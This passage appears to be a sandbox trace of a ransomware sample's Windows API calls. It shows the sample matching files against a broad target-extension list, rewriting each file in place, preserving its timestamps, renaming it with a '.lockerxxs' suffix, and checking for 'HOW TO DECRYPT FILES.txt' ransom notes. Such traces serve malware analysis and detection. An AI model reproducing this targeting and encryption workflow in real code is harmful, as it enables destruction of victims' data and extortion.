lstrlenA (lpString="*.cpp") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0069.057] lstrlenA (lpString="*.rar") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0069.057] lstrlenA (lpString="*.zip") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.html") returned 0 [0069.057] lstrlenA (lpString="*.html") returned 6 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0069.057] lstrlenA (lpString="*.htm") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0069.057] lstrlenA (lpString="*.xlsx") returned 6 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0069.057] lstrlenA (lpString="*.xls") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0069.057] lstrlenA (lpString="*.mp4") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0069.057] lstrlenA (lpString="*.ppt") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0069.058] lstrlenA (lpString="*.pptx") returned 6 [0069.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0069.058] lstrlenA (lpString="*.doc") returned 5 [0069.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0069.058] lstrlenA (lpString="*.dot") returned 5 [0069.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0069.058] lstrlenA (lpString="*.docx") returned 6 [0069.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0069.058] lstrlenA (lpString="*.7z") returned 4 [0069.058] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0069.058] lstrlenA (lpString="*.tar") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0069.059] lstrlenA (lpString="*.bz2") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0069.059] lstrlenA (lpString="*.gz") returned 4 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0069.059] lstrlenA (lpString="*.mkv") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.059] lstrlenA (lpString="*.eml") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0069.059] lstrlenA (lpString="*.msg") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0069.059] lstrlenA (lpString="*.edb") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0069.059] lstrlenA (lpString="*.accdb") returned 7 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0069.059] lstrlenA (lpString="*.odb") returned 5 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.java") returned 0 [0069.059] lstrlenA (lpString="*.java") returned 6 [0069.059] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0069.059] lstrlenA (lpString="*.asm") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0069.060] lstrlenA (lpString="*.pfx") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0069.060] lstrlenA (lpString="*.pem") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0069.060] lstrlenA (lpString="*.p12") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0069.060] lstrlenA (lpString="*.gpg") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0069.060] lstrlenA (lpString="*.vsd") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0069.060] lstrlenA (lpString="*.odg") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0069.060] lstrlenA (lpString="*.raw") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0069.060] lstrlenA (lpString="*.nef") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0069.060] lstrlenA (lpString="*.svg") returned 5 [0069.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0069.060] lstrlenA (lpString="*.psd") returned 5 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0069.061] lstrlenA (lpString="*.vmx") returned 5 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0069.061] lstrlenA (lpString="*.vmdk") returned 6 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0069.061] lstrlenA (lpString="*.vdi") returned 5 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0069.061] lstrlenA (lpString="*.lay6") returned 6 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0069.061] lstrlenA (lpString="*.mpeg") returned 6 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0069.061] lstrlenA (lpString="*.djvu") returned 6 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0069.061] lstrlenA (lpString="*.tiff") returned 6 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0069.061] lstrlenA (lpString="*.backup") returned 8 [0069.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0069.061] lstrlenA (lpString="*.pdf") returned 5 [0069.061] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" [0069.061] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" [0069.062] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf." [0069.062] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.lockerxxs" [0069.062] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.062] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6133 [0069.062] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.062] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.062] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x610d, lpOverlapped=0x0) returned 1 [0069.065] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf") returned="AdobeID.pdf" [0069.065] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.065] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x610d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x610d, lpOverlapped=0x0) returned 1 [0069.065] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.065] CloseHandle (hObject=0x94) returned 1 [0069.067] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf.lockerxxs")) returned 1 [0069.070] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5aac, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.070] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.070] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.070] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.070] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.070] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf") returned="AdobeID.pdf" [0069.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" [0069.070] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\") returned="" [0069.070] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt" [0069.070] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\how to decrypt files.txt")) returned 0x20 [0069.070] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" [0069.070] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.070] lstrlenA (lpString="*.ems") returned 5 [0069.070] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.070] lstrlenA (lpString="*.db") returned 4 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.071] lstrlenA (lpString="*.dbf") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.071] lstrlenA (lpString="*.myox") returned 6 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.071] lstrlenA (lpString="*.myo") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.071] lstrlenA (lpString="*.qbw") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.071] lstrlenA (lpString="*.qbb") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.071] lstrlenA (lpString="*.qbm") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.071] lstrlenA (lpString="*.qbo") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.071] lstrlenA (lpString="*.qbx") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.071] lstrlenA (lpString="*.qba") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.071] lstrlenA (lpString="*.qby") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.071] lstrlenA (lpString="*.qbj") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.071] lstrlenA (lpString="*.ofx") returned 5 [0069.071] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.071] lstrlenA (lpString="*.qif") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.072] lstrlenA (lpString="*.mye") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.072] lstrlenA (lpString="*.mbox") returned 6 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.072] lstrlenA (lpString="*.eml") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.072] lstrlenA (lpString="*.pst") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.072] lstrlenA (lpString="*.ost") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.072] lstrlenA (lpString="*.idx") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.072] lstrlenA (lpString="*.dbx") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.072] lstrlenA (lpString="*.sql") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.072] lstrlenA (lpString="*.mdb") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.072] lstrlenA (lpString="*.fdb") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.072] lstrlenA (lpString="*.wab") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.072] lstrlenA (lpString="*.dat") returned 5 [0069.072] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.072] lstrlenA (lpString="*.txt") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.073] lstrlenA (lpString="*.jpeg") returned 6 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.073] lstrlenA (lpString="*.jpg") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.073] lstrlenA (lpString="*.png") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.073] lstrlenA (lpString="*.php") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.073] lstrlenA (lpString="*.cs") returned 4 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.073] lstrlenA (lpString="*.cpp") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.073] lstrlenA (lpString="*.rar") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.073] lstrlenA (lpString="*.zip") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.073] lstrlenA (lpString="*.html") returned 6 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.073] lstrlenA (lpString="*.htm") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.073] lstrlenA (lpString="*.xlsx") returned 6 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.073] lstrlenA (lpString="*.xls") returned 5 [0069.073] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.073] lstrlenA (lpString="*.mp4") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.074] lstrlenA (lpString="*.ppt") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.074] lstrlenA (lpString="*.pptx") returned 6 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.074] lstrlenA (lpString="*.doc") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.074] lstrlenA (lpString="*.dot") returned 5 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.074] lstrlenA (lpString="*.docx") returned 6 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.074] lstrlenA (lpString="*.7z") returned 4 [0069.074] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 